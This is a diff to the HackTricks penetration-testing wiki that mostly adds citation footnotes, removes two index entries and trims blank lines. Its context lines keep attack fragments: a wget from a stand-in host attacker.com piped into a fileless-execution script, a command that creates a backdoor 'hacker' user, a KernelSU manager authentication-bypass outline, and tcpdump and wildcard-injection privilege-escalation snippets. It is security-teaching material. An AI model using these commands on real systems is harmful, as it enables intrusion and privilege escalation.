HackTricks-wiki · carlospolop · Aug 7, 2026 · Aug 6, 2026 · Aug 6, 2026 · Aug 6, 2026
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
@@ -206,7 +206,6 @@
   - [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
   - [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
   - [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
-  - [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md)
   - [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
   - [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
     - [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
@@ -798,7 +797,6 @@
 - [WebSocket Attacks](pentesting-web/websocket-attacks.md)
 - [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
 - [XPATH injection](pentesting-web/xpath-injection.md)
-- [XS Search](pentesting-web/xs-search.md)
 - [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 - [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
 - [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)

diff --git a/src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md b/src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md
@@ -25,7 +25,7 @@ chmod -R 644 *.php
 `--reference=/root/secret``file` is injected, causing *all* matching files to inherit the ownership/permissions of `/root/secret``file`.
 
 *PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (combined attack).  
-See also the classic DefenseCode paper for details.
+See also the classic DefenseCode paper for details.<sup>[[6]](#references)</sup>
 
 ---
 
@@ -143,7 +143,7 @@ These primitives are less common than the *tar/rsync/zip* classics but worth che
 
 ## Hunting vulnerable wrappers and jobs
 
-Recent case studies have shown that wildcard/argv injection is no longer just a **cron + tar** problem. The same bug class keeps appearing in:
+Recent case studies have shown that wildcard/argv injection is no longer just a **cron + tar** problem.<sup>[[5]](#references)</sup> The same bug class keeps appearing in:
 
 - web features that "download everything as zip/tar" from attacker-controlled upload directories
 - vendor/appliance debug shells that expose a **tcpdump** wrapper with attacker-controlled filename/filter fields
@@ -287,5 +287,6 @@ sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \
 - [3] [0xdf - HTB Dump: Zip arg injection to RCE + tcpdump sudo misconfig privesc](https://0xdf.gitlab.io/2025/11/04/htb-dump.html)
 - [4] [FiberGateway GR241AG - Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
 - [5] [Elastic - Potential Shell via Wildcard Injection Detected](https://www.elastic.co/guide/en/security/current/prebuilt-rule-8-19-20-potential-shell-via-wildcard-injection-detected.html)
+- [6] [Back To The Future: Unix Wildcards Gone Wild (DefenseCode)](https://www.exploit-db.com/papers/33930)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/interesting-files-permissions/write-to-root.md b/src/linux-hardening/interesting-files-permissions/write-to-root.md
@@ -315,7 +315,7 @@ This kind of mitigation is worth remembering for other kernel LPEs too: if explo
 - [3] [Tenable: Copy Fail (CVE-2026-31431) FAQ](https://www.tenable.com/blog/copy-fail-cve-2026-31431-frequently-asked-questions-about-linux-kernel-privilege-escalation)
 - [4] [Openwall oss-security disclosure for CVE-2026-31431](https://www.openwall.com/lists/oss-security/2026/04/29/23)
 - [5] [Linux stable fix: crypto: algif_aead - Revert to operating out-of-place](https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5)
-- [6] [Copy Fail advisory](https://copy.fail/)
+- [6] [Copy Fail — CVE-2026-31431 advisory](https://copy.fail/)
 - [7] [Theori / Xint technical writeup](https://xint.io/blog/copy-fail-linux-distributions)
 - [8] [DirtyClone repository / README](https://github.com/rafaeldtinoco/security/tree/main/exploits/dirtyclone)
 - [9] [JFrog: Dissecting and Exploiting Linux LPE Variant DirtyClone (CVE-2026-43503)](https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/)

diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md
@@ -330,14 +330,12 @@ ln /f*
 
 If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**
 
-
 {{#ref}}
 bypass-fs-protections-read-only-no-exec-distroless/
 {{#endref}}
 
 ## Chroot & other Jails Bypass
 
-
 {{#ref}}
 ../../main-system-information/escaping-from-limited-bash.md
 {{#endref}}

diff --git a/...linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/...linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@@ -2,13 +2,12 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-
 ## Videos
 
 In the following videos you can find the techniques mentioned in this page explained more in depth:<sup>[[1]](#references)[[2]](#references)</sup>
 
-- [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
-- [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)
+- [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)<sup>[[1]](#references)</sup>
+- [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)<sup>[[2]](#references)</sup>
 
 ## read-only / no-exec scenario
 
@@ -69,7 +68,6 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
 
 For more information about this technique check the Github or:
 
-
 {{#ref}}
 ddexec.md
 {{#endref}}

diff --git a/...linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md b/...linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md
@@ -61,7 +61,7 @@ The steps are relatively easy and do not require any kind of expertise to unders
 - Pass the program we want to run to the stdin of the process (will be `read()` by said "shell"code).
 - At this point it is up to the loader to load the necessary libraries for our program and jump into it.
 
-**Check out the tool in** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
+**Check out the tool in** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)<sup>[[1]](#references)</sup>
 
 ## EverythingExec
 
@@ -93,5 +93,3 @@ Block this, EDRs.
 - [1] [DDexec: A technique to run binaries filelessly and stealthily on Linux](https://github.com/arget13/DDexec)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute.md b/src/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute.md
@@ -133,6 +133,3 @@ echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysal
 ```
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/...ware-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/...ware-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
@@ -66,7 +66,7 @@ Key properties exploited:<sup>[[1]](#references)</sup>
 ---
 ## Exploitation outline (KernelSU v0.5.7)
 
-High-level steps:<sup>[[1]](#references)</sup>
+High-level steps:<sup>[[1]](#references)[[9]](#references)</sup>
 1) Build a valid path to your own app data directory to satisfy prefix and ownership checks.
 2) Ensure a genuine KernelSU Manager base.apk is opened on a lower-numbered FD than your own base.apk.
 3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) to pass the checks.
@@ -173,8 +173,8 @@ Limitations of the attack:
 ---
 ## Related notes across frameworks
 
-- Password-based auth (e.g., historical APatch/SKRoot builds) can be weak if passwords are guessable/bruteforceable or validations are buggy.<sup>[[1]](#references)</sup>
-- Package/signature-based auth (e.g., KernelSU) is stronger in principle but must bind to the actual caller, not indirect artefacts like FD scans.<sup>[[1]](#references)</sup>
+- Password-based auth (e.g., historical APatch/SKRoot builds) can be weak if passwords are guessable/bruteforceable or validations are buggy.<sup>[[1]](#references)[[6]](#references)[[7]](#references)</sup>
+- Package/signature-based auth (e.g., KernelSU) is stronger in principle but must bind to the actual caller, not indirect artefacts like FD scans.<sup>[[1]](#references)[[5]](#references)</sup>
 - Magisk: CVE-2024-48336 (MagiskEoP) showed that even mature ecosystems can be susceptible to identity spoofing leading to code execution with root inside manager context.<sup>[[1]](#references)[[8]](#references)</sup>
 
 ---
@@ -190,4 +190,4 @@ Limitations of the attack:
 - [8] [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
 - [9] [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
 
-{{#include ../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
Original file line number	Diff line number	Diff line change
Expand Up		@@ -133,6 +133,3 @@ echo hacker:$((mkpasswd -m SHA-512 myhackerpass \|\| openssl passwd -1 -salt mysal
		```

		{{#include ../../banners/hacktricks-training.md}}